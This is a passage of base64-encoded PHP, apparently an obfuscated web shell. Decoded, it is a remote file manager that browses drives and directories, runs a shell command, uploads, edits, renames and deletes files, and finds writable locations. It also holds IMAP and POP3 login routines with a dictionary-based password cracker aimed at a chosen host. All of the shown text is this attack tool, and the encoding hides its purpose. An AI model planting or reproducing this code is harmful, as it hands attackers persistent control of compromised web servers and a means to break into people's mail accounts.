B0eSgkX1JFUVVFU1RbJ3Rhc2snXSkpewppZiAoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoJ10pKSAkX1JFUVVFU1RbJ3Rhc2snXSA9IDc7CmlmICghZW1wdHkoJF9SRVFVRVNUWydyZSddKSkgJF9SRVFVRVNUWyd0YXNrJ10gPSA2OwplY2hvICI8Zm9udCBjb2xvcj1ibHVlPjxwcmU+IjsKbGlzdGRpUigkY3dkLCRfUkVRVUVTVFsndGFzayddKTsKZWNobyAiPC9wcmU+PC9mb250PiI7Cn1lbHNlewppZiAoIWVtcHR5KCRfUkVRVUVTVFsnY1AnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsnbVYnXSl8fCAhZW1wdHkoJF9SRVFVRVNUWydyTiddKSl7CmlmICghZW1wdHkoJF9SRVFVRVNUWydjUCddKSB8fCAhZW1wdHkoJF9SRVFVRVNUWydtViddKSl7CiR0aXRsZT0iRGVzdGluYXRpb24iOwokYWQgPSAoIWVtcHR5KCRfUkVRVUVTVFsnY1AnXSkpPyRfUkVRVUVTVFsnY1AnXTokX1JFUVVFU1RbJ21WJ107CiRkaXMgPSghZW1wdHkoJF9SRVFVRVNUWydjUCddKSk/J0NvcHknOidNb3ZlJzsKfWVsc2V7CiRhZCA9ICRfUkVRVUVTVFsnck4nXTsKJHRpdGxlID0iTmV3IG5hbWUiOwokZGlzID0gIlJlbmFtZSI7Cn0KaWYgKCEhZW1wdHkoJF9SRVFVRVNUWydkZVMnXSkpewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiB3aWR0aD1cIjQwJVwiPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgYmdjb2xvcj1cIiMzMzMzMzNcIj4kdGl0bGU6PC90ZD48L3RyPjx0cj4kdGQxbjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPVwiIjtpZihlbXB0eSgkX1JFUVVFU1RbJ3JOJ10pKSBlY2hvICRjd2Q7IGVjaG8gIlwiIHNpemU9NjAgbmFtZT1kZVM+PC90ZD48L3RyPjx0cj4kdGQybSRoY3dkPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhZCkuIlwiIG5hbWU9Y3A+PGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9JGRpcz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+IjsKfWVsc2V7CmlmICghZW1wdHkoJF9SRVFVRVNUWydyTiddKSkgcmVuYW1FKCRhZCwkX1JFUVVFU1RbJ2RlUyddKTsKZWxzZXsKY29weSgkYWQsJF9SRVFVRVNUWydkZVMnXSk7CmlmICghZW1wdHkoJF9SRVFVRVNUWydtViddKSl1bmxpbmsoJGFkKTsKfQp9Cn0KaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RlTCddKSkgeyBpZiAoaXNfZmlsZSgkX1JFUVVFU1RbJ2RlTCddKXx8IGlzX2xpbmsoJF9SRVFVRVNUWydkZUwnXSkpIHVubGluaygkX1JFUVVFU1RbJ2RlTCddKTtlbHNlaWYoaXNfZGlyKCRfUkVRVUVTVFsnZGVMJ10pKSB7CiRkaCA9IG9wZW5kaXIoJF9SRVFVRVNUWydkZUwnXSk7CiRkPSIiOwp3aGlsZSAoJGNvbnQ9cmVhZGRpcigkZGgpKXskZCsrO30KaWYgKCRkPjIpIGVjaG8gIiRlcnJvcmJveFwiIi5odG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsnZGVsJ10pLiJcIiBpcyBub3QgZW1wdHkhPHRkPjx0cj48L3RhYmxlPjxicj4iO2Vsc2Ugcm1kaXIoJF9SRVFVRVNUWydkZWwnXSk7fX0KaWYgKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ10pKXsKbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSk7CmVjaG8gIiRtc2dib3g8Yj5VcGxvYWRlZCE8L2I+IEZpbGUgbmFtZTogIi4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXS4iIEZpbGUgc2l6ZTogIi4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3NpemUnXS4gIiRldDxicj4iOwp9CiRzZWxlY3QgPSAiPHNlbGVjdCBvbkNoYW5nZT1cIndpbmRvdy5sb2NhdGlvbj10aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZTtcIj48b3B0aW9uIHZhbHVlPVwiIi5obGluSygic2VDPWZtJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCIiOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3ZiddKSl7CmlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdmaWxlJ10pKXtmaWxlX3B1dF9jb250ZW50cygkX1JFUVVFU1RbJ25ld2YnXSwiIik7fQppZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3ZGlyJ10pKXtta2RpcigkX1JFUVVFU1RbJ25ld2YnXSk7fQp9CmlmICgkd2luZG93cyl7CmVjaG8gIiR0YWJsZTx0ZD48Yj5Ecml2ZXM6PC9iPiAiOwpmb3IgKCRpPTY2OyRpPD05MDskaSsrKXskZHJpdmU9IGNocigkaSkuJzonOwppZiAoaXNfZGlyKCRkcml2ZS4iXFwiKSl7JHZvbD1zaGVsTCgidm9sICRkcml2ZSIpO2lmKGVtcHR5KCR2b2wpKSR2b2w9JGRyaXZlO2VjaG8gIiA8YSB0aXRsZT1cIiR2b2xcIiBocmVmPSIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRkcml2ZVxcIikuIj4kZHJpdmVcXDwvYT4iO30KfQplY2hvICRldDsKfQplY2hvICIkdGFibGU8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiPjxiPkxvY2F0aW9uOjwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9d29ya2luZ2RpUiBzaXplPTEzNSB2YWx1ZT1cIiIuZ2V0Y3dkKCkuIlwiPjxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPUNoYW5nZT48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+IjsKJGZpbGU9YXJyYXkoKTskZGlyPWFycmF5KCk7JGxpbms9YXJyYXkoKTsKaWYoJGRpcmhhbmRsZSA9IG9wZW5kaXIoJGN3ZCkpewp3aGlsZSAoJGNvbnQ9cmVhZGRpcigkZGlyaGFuZGxlKSl7CmlmIChpc19kaXIoJGN3ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjb250KSkgJGRpcltdPSAkY29udDsKZWxzZWlmIChpc19maWxlKCRjd2QuRElSRUNUT1JZX1NFUEFSQVRPUi4kY29udCkpICRmaWxlW109JGNvbnQ7CmVsc2UgJGxpbmtbXT0kY29udDsKfQpjbG9zZWRpcigkZGlyaGFuZGxlKTsKc29ydCgkZmlsZSk7c29ydCgkZGlyKTtzb3J0KCRsaW5rKTsKZWNobyAiPHRhYmxlIGJvcmRlcj0xIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiMTAwJVwiPjx0cj48dGQgd2lkdGg9XCIzMCVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIGFsaWduPVwiY2VudGVyXCI+TmFtZTwvdGQ+PHRkIHdpZHRoPVwiMTMlXCIgYmdjb2xvcj1cIiMzMzMzMzNcIiBhbGlnbj1cImNlbnRlclwiPk93bmVyPC90ZD48dGQgd2lkdGg9XCIxMiVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIGFsaWduPVwiY2VudGVyXCI+TW9kaWZpY2F0aW9uIHRpbWU8L3RkPjx0ZCB3aWR0aD1cIjEyJVwiIGJnY29sb3I9XCIjMzMzMzMzXCIgYWxpZ249XCJjZW50ZXJcIj5MYXN0IGNoYW5nZTwvdGQ+PHRkIHdpZHRoPVwiNSVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIGFsaWduPVwiY2VudGVyXCI+SW5mbzwvdGQ+PHRkIHdpZHRoPVwiNyVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIGFsaWduPVwiY2VudGVyXCI+U2l6ZTwvdGQ+PHRkIHdpZHRoPVwiMTUlXCIgYmdjb2xvcj1cIiMzMzMzMzNcIiBhbGlnbj1cImNlbnRlclwiPkFjdGlvbnM8L3RkPjwvdHI+IjsKJGk9MDsKZm9yZWFjaCgkZGlyIGFzICRkbil7CmVjaG8gIjx0cj4iOwokaSsrOwokb3duPSJVbmtub3ciOwokb3duZXI9cG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkbikpOwokbWRhdGU9ZGF0ZSgiWS9tL2QgSDppOnMiLGZpbGVtdGltZSgkZG4pKTsKJGFkYXRlPWRhdGUoIlkvbS9kIEg6aTpzIixmaWxlYXRpbWUoJGRuKSk7CiRkaXJhY3Rpb24gPSAkc2VsZWN0LmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0iLnJlYWxwYXRoKCRkbikpLiJcIj5PcGVuPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRjd2Qmck49JGRuIikuIlwiPlJlbmFtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCIiLmhsaW5LKCJzZUM9Zm0mZGVMPSRkbiZ3b3JraW5nZGlSPSRjd2QiKS4iXCI+UmVtb3ZlPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4iOwppZiAoJG93bmVyKSAkb3duID0gIjxhIHRpdGxlPVwiIFNoZWxsOiAiLiRvd25lclsnc2hlbGwnXS4iXCIgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSIuJG93bmVyWydkaXInXSkuIlwiPiIuJG93bmVyWyduYW1lJ10uIjwvYT4iOwppZiAoKCRpJTIpPT0wKXskY2wxPSR0ZDFpOyRjbDI9JHRkMW47fWVsc2V7JGNsMT0kdGQyaTskY2wyPSR0ZDJtO30KaWYgKGlzX3dyaXRlYWJsZSgkZG4pKSBlY2hvICR0ZHc7ZWxzZWlmICghaXNfcmVhZGFibGUoJGRuKSkgZWNobyAkdGRucjtlbHNlIGVjaG8gJGNsMjsKZWNobyAiPGEgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSIucmVhbHBhdGgoJGRuKSkuIlwiPiI7CmlmIChzdHJsZW4oJGRuKT40NSllY2hvIHN1YnN0cigkZG4sMCw0MikuIi4uLiI7ZWxzZSBlY2hvICRkbjtlY2hvICI8L2E+IjsKZWNobyAkY2wxLiIkb3duPC90ZD4iOwplY2hvICRjbDEuIiRtZGF0ZTwvdGQ+IjsKZWNobyAkY2wxLiIkYWRhdGU8L3RkPiI7CmVjaG8gIjwvdGQ+JHtjbDF9RCI7aWYgKGlzX3JlYWRhYmxlKCRkbikpIGVjaG8gIlIiO2lmIChpc193cml0ZWFibGUoJGRuKSkgZWNobyAiVyI7ZWNobyAiPC90ZD4iOwplY2hvICIkY2wxLS0tLS0tPC90ZD4iOwplY2hvICRjbDIuJGRpcmFjdGlvbjsKZWNobyAiPC90cj4iIDsKZmx1c2hlUigpOwp9CmZvcmVhY2goJGZpbGUgYXMgJGZuKXsKZWNobyAiPHRyPiI7CiRpKys7CiRvd24gPSAiVW5rbm93IjsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmbikpOwokZmlsZWFjdGlvbj0kc2VsZWN0LmhsaW5LKCJzZUM9b3Blbml0Jm5hbUU9JGZuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5PcGVuPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1lZGl0JmZpbEU9JGZuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5FZGl0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZkb3dubG9hRD0kZm4md29ya2luZ2RpUj0kY3dkIikuIlwiPkRvd25sb2FkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1oZXgmZmlsRT0kZm4md29ya2luZ2RpUj0kY3dkIikuIlwiPkhleCB2aWV3PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1pbWcmZmlsRT0kZm4md29ya2luZ2RpUj0kY3dkIikuIlwiPmltYWdlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1pbmMmZmlsRT0kZm4md29ya2luZ2RpUj0kY3dkIikuIlwiPkluY2x1ZGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiIi5obGluSygic2VDPWNoZWNrc3VtJmZpbEU9JGZuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5DaGVja3N1bTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCIiLmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0kY3dkJmNQPSRmbiIpLiJcIj5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRjd2QmbVY9JGZuIikuIlwiPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiIi5obGluSygic2VDPWZtJndvcmtpbmdkaVI9JGN3ZCZyTj0kZm4iKS4iXCI+UmVuYW1lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZkZUw9JGZuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5SZW1vdmU8L29wdGlvbj48L3NlbGVjdD48L3RkPiI7CiRtZGF0ZSA9IGRhdGUoIlkvbS9kIEg6aTpzIixmaWxlbXRpbWUoJGZuKSk7CiRhZGF0ZSA9IGRhdGUoIlkvbS9kIEg6aTpzIixmaWxlYXRpbWUoJGZuKSk7CmlmICgkb3duZXIpICRvd24gPSAiPGEgdGl0bGU9XCJTaGVsbDoiLiRvd25lclsnc2hlbGwnXS4iXCIgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSIuJG93bmVyWydkaXInXSkuIlwiPiIuJG93bmVyWyduYW1lJ10uIjwvYT4iOwokc2l6ZSA9IHNob3dzaXpFKGZpbGVzaXplKCRmbikpOwppZiAoKCRpJTIpPT0wKXskY2wxPSR0ZDFpOyRjbDI9JHRkMW47fWVsc2V7JGNsMT0kdGQyaTskY2wyPSR0ZDJtO30KaWYgKGlzX3dyaXRlYWJsZSgkZm4pKSBlY2hvICR0ZHc7ZWxzZWlmICghaXNfcmVhZGFibGUoJGZuKSkgZWNobyAkdGRucjtlbHNlIGVjaG8gJGNsMjsKZWNobyAiPGEgaHJlZj1cIiIuaGxpbksoInNlQz1vcGVuaXQmbmFtRT0kZm4md29ya2luZ2RpUj0kY3dkIikuIlwiPiI7CmlmIChzdHJsZW4oJGZuKT40NSllY2hvIHN1YnN0cigkZm4sMCw0MikuIi4uLiI7ZWxzZSBlY2hvICRmbjtlY2hvICI8L2E+IjsKZWNobyAkY2wxLiIkb3duPC90ZD4iOwplY2hvICRjbDEuIiRtZGF0ZTwvdGQ+IjsKZWNobyAkY2wxLiIkYWRhdGU8L3RkPiI7CmVjaG8gIjwvdGQ+JGNsMSI7aWYgKGlzX3JlYWRhYmxlKCRmbikpIGVjaG8gIlIiO2lmIChpc193cml0ZWFibGUoJGZuKSkgZWNobyAiVyI7aWYgKGlzX2V4ZWN1dGFibGUoJGZuKSkgZWNobyAiWCI7aWYgKGlzX3VwbG9hZGVkX2ZpbGUoJGZuKSkgZWNobyAiVSI7IGVjaG8gIjwvdGQ+IjsKZWNobyAiJGNsMSRzaXplPC90ZD4iOwplY2hvICR0ZDJtLiRmaWxlYWN0aW9uOwplY2hvICI8L3RyPiIgOwpmbHVzaGVSKCk7Cn0KZm9yZWFjaCgkbGluayBhcyAkbG4pewokb3duID0gIlVua25vdyI7CiRpKys7CiRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkbG4pKTsKJGxpbmthY3Rpb249JHNlbGVjdC5obGluSygic2VDPW9wZW5pdCZuYW1FPSRsbiZ3b3JraW5nZGlSPSRsbiIpLiJcIj5PcGVuPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1lZGl0JmZpbEU9JGxuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5FZGl0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZkb3dubG9hRD0kbG4md29ya2luZ2RpUj0kY3dkIikuIlwiPkRvd25sb2FkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1oZXgmZmlsRT0kbG4md29ya2luZ2RpUj0kY3dkIikuIlwiPkhleCB2aWV3PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1pbWcmZmlsRT0kbG4md29ya2luZ2RpUj0kY3dkIikuIlwiPmltYWdlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1pbmMmZmlsRT0kbG4md29ya2luZ2RpUj0kY3dkIikuIlwiPkluY2x1ZGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiIi5obGluSygic2VDPWNoZWNrc3VtJmZpbEU9JGxuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5DaGVja3N1bTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCIiLmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0kY3dkJmNQPSRsbiIpLiJcIj5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRjd2QmbVY9JGxuIikuIlwiPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiIi5obGluSygic2VDPWZtJndvcmtpbmdkaVI9JGN3ZCZyTj0kbG4iKS4iXCI+UmVuYW1lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiIuaGxpbksoInNlQz1mbSZkZUw9JGxuJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5SZW1vdmU8L29wdGlvbj48L3NlbGVjdD48L3RkPiI7CiRtZGF0ZSA9IGRhdGUoIlkvbS9kIEg6aTpzIixmaWxlbXRpbWUoJGxuKSk7CiRhZGF0ZSA9IGRhdGUoIlkvbS9kIEg6aTpzIixmaWxlYXRpbWUoJGxuKSk7CmlmICgkb3duZXIpICRvd24gPSAiPGEgdGl0bGU9XCJTaGVsbDogIi4kb3duZXJbJ3NoZWxsJ10uIlwiIGhyZWY9XCIiLmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0iLiRvd25lclsnZGlyJ10pLiJcIj4iLiRvd25lclsnbmFtZSddLiI8L2E+IjsKZWNobyAiPHRyPiI7CiRzaXplID0gc2hvd3NpekUoZmlsZXNpemUoJGxuKSk7CmlmICgoJGklMik9PTApeyRjbDE9JHRkMWk7JGNsMj0kdGQxbjt9ZWxzZXskY2wxPSR0ZDJpOyRjbDI9JHRkMm07fQppZiAoaXNfd3JpdGVhYmxlKCRsbikpIGVjaG8gJHRkdztlbHNlaWYgKCFpc19yZWFkYWJsZSgkbG4pKSBlY2hvICR0ZG5yO2Vsc2UgZWNobyAkY2wyOwplY2hvICI8YSBocmVmPVwiIi5obGluSygic2VDPW9wZW5pdCZuYW1FPSRsbiZ3b3JraW5nZGlSPSRjd2QiKS4iXCI+IjsKaWYgKHN0cmxlbigkbG4pPjQ1KWVjaG8gc3Vic3RyKCRsbiwwLDQyKS4iLi4uIjtlbHNlIGVjaG8gJGxuO2VjaG8gIjwvYT4iOwplY2hvICRjbDEuIiRvd248L3RkPiI7CmVjaG8gJGNsMS4iJG1kYXRlPC90ZD4iOwplY2hvICRjbDEuIiRhZGF0ZTwvdGQ+IjsKZWNobyAiPC90ZD4ke2NsMX1MIjtpZiAoaXNfcmVhZGFibGUoJGxuKSkgZWNobyAiUiI7aWYgKGlzX3dyaXRlYWJsZSgkbG4pKSBlY2hvICJXIjtpZiAoaXNfZXhlY3V0YWJsZSgkbG4pKSBlY2hvICJYIjsgZWNobyAiPC90ZD4iOwplY2hvICIkY2wxJHNpemU8L3RkPiI7CmVjaG8gJGNsMi4kbGlua2FjdGlvbjsKZWNobyAiPC90cj4iIDsKZmx1c2hlUigpOwp9Cn0KJGRjID0gY291bnQoJGRpciktMjsKaWYoJGRjPT0tMikkZGM9MDsKJGZjID0gY291bnQoJGZpbGUpOwokbGMgPSBjb3VudCgkbGluayk7CiR0b3RhbCA9ICRkYyArICRmYyArICRsYzsKZWNobyAiJHRhYmxlPHRyPjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD5GaW5kOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZWFyY2g+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZSB2YWx1ZT0xIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzMzMzM7XCIgY2hlY2tlZD5SZWd1bGFyIGV4cHJlc3Npb25zIDxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz1idXR0b25zIHZhbHVlPUZpbmQ+JGhjd2Q8aW5wdXQgdHlwZT1oaWRkZW4gdmFsdWU9NyBuYW1lPXRhc2s+PC9mb3JtPjwvdGQ+PHRkPjxmb3JtIG1ldGhvZD1QT1NUPiRoY3dkPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPVwiZm1cIiBuYW1lPXNlQz48c2VsZWN0IG5hbWU9dGFzaz48b3B0aW9uIHZhbHVlPTA+RGlzcGxheSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBmb2xkZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPTE+RmluZCB3cml0YWJsZSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBmb2xkZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPTI+RmluZCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGZvbGRlcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Mz5GaW5kIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZm9sZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT00PkRpc3BsYXkgYWxsIGZpbGVzIGluIGN1cnJlbnQgZm9sZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT01PkRpc3BsYXkgYWxsIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZm9sZGVyPC9vcHRpb24+PC9zZWxlY3Q+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPWJ1dHRvbnMgdmFsdWU9RG8+PC9mb3JtPiRldDwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9XCIxMDAlXCI+PHRyPjx0ZCB3aWR0aD1cIjUwJVwiPjxicj48dGFibGUgYmdjb2xvcj0jMzMzMzMzIGJvcmRlcj0wIHdpZHRoPVwiNjUlXCI+PHRkPjxiPlN1bW1lcnk6PC9iPiAgIFRvdGFsOiAkdG90YWwgRGlyZWN0b3JpZXM6ICRkYyBGaWxlczogJGZjIExpbmtzOiAkbGM8L3RkPjwvdGFibGU+PHRhYmxlIGJnY29sb3I9IzMzMzMzMyBib3JkZXI9MCB3aWR0aD1cIjY1JVwiPjx0ZCB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSI7aWYgKGlzX3dyaXRlYWJsZSgkY3dkKSkgZWNobyAiIzAwNkUwMCI7ZWxzZWlmICghaXNfcmVhZGFibGUoJGN3ZCkpIGVjaG8gIiM4MDAwMDAiO2Vsc2UgIiMzMzMzMzMiOyBlY2hvICI+Q3VycmVudCBkaXJlY3Rvcnkgc3RhdHVzOiAiOyBpZiAoaXNfcmVhZGFibGUoJGN3ZCkpIGVjaG8gIlIiO2lmIChpc193cml0ZWFibGUoJGN3ZCkpIGVjaG8gIlciIDtlY2hvICI8L3RkPjwvdGFibGU+PHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiNjUlXCI+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiPk5ldzo8L3RkPjwvdHI+PHRyPiR0ZDFuPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00NyBuYW1lPW5ld2Y+PC90ZD48L3RyPjx0cj4kdGQybSRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgbmFtZT1uZXdmaWxlIHZhbHVlPVwiRmlsZVwiPjxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IG5hbWU9bmV3ZGlyIHZhbHVlPVwiRm9sZGVyXCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PHRkIHdpZHRoPVwiNTAlXCI+PGJyPiR7dH1VcGxvYWQ6PC90ZD48L3RyPjx0cj4kdGQxbjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiPjxpbnB1dCB0eXBlPWZpbGUgc2l6ZT00NSBuYW1lPXVwbG9hZGZpbGU+PC90ZD48L3RyPjx0cj4kdGQybSRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkPjwvdGQ+PC90cj4kdGQxbiBOb3RlOiBNYXggYWxsb3dlZCBmaWxlIHNpemUgdG8gdXBsb2FkIG9uIHRoaXMgc2VydmVyIGlzICIuaW5pX2dldCgndXBsb2FkX21heF9maWxlc2l6ZScpLiI8L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JGV0IjsKfQp9CmZ1bmN0aW9uIGltYXBsb2dpTigkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKXsKJHNvY2s9ZnNvY2tvcGVuKCRob3N0LDE0Mywkbiwkcyw1KTsKJGI9bmFtRSgpOwokbD1zdHJsZW4oJGIpOwppZighJHNvY2spcmV0dXJuIC0xOwpmcmVhZCgkc29jaywxMDI0KTsKZnB1dHMoJHNvY2ssIiRiIExPR0lOICR1c2VybmFtZSAkcGFzc3dvcmRcclxuIik7CiRyZXM9ZmdldHMoJHNvY2ssJGwrNCk7CmlmICgkcmVzID09ICIkYiBPSyIpcmV0dXJuIDE7ZWxzZSByZXR1cm4gMDsKZmNsb3NlKCRzb2NrKTsKfQpmdW5jdGlvbiBwb3AzbG9naU4oJHNlcnZlciwkdXNlciwkcGFzcyl7CiRzb2NrPWZzb2Nrb3Blbigkc2VydmVyLDExMCwkZW4sJGVzLDUpOwppZighJHNvY2spcmV0dXJuIC0xOwpmcmVhZCgkc29jaywxMDI0KTsKZndyaXRlKCRzb2NrLCJ1c2VyICR1c2VyXG4iKTsKJHI9ZmdldHMoJHNvY2spOwppZigkcnswfT09Jy0nKXJldHVybiAwOwpmd3JpdGUoJHNvY2ssInBhc3MgJHBhc3NcbiIpOwokcj1mZ2V0cygkc29jayk7CmZjbG9zZSgkc29jayk7CmlmKCRyezB9PT0nKycpcmV0dXJuIDE7CnJldHVybiAwOwp9CmZ1bmN0aW9uIGltYXBjcmFja2VSKCl7Cmdsb2JhbCAkdCwkZXQsJGVycm9yYm94LCRjcmFjazsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3RhcmdldCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10pKXsKJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOwokdHlwZT0kX1JFUVVFU1RbJ2NvbWJvJ107CiR1c2VyPSghZW1wdHkoJF9SRVFVRVNUWyd1c2VyJ10pKT8kX1JFUVVFU1RbJ3VzZXInXToiIjsKJGRpY3Rpb25hcnk9Zm9wZW4oJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10sJ3InKTsKaWYgKCRkaWN0aW9uYXJ5KXsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5DcmFja2luZyAiLmh0bWxzcGVjaWFsY2hhcnMoJHRhcmdldCkuIi4uLjxicj4iO2ZsdXNoZVIoKTsKd2hpbGUoIWZlb2YoJGRpY3Rpb25hcnkpKXsKaWYoJHR5cGUpewokY29tYm89dHJpbShmZ2V0cygkZGljdGlvbmFyeSksIiBcblxyIik7CiR1c2VyPXN1YnN0cigkY29tYm8sMCxzdHJwb3MoJGNvbWJvLCc6JykpOwokcGFzcz1zdWJzdHIoJGNvbWJvLHN0cnBvcygkY29tYm8sJzonKSsxKT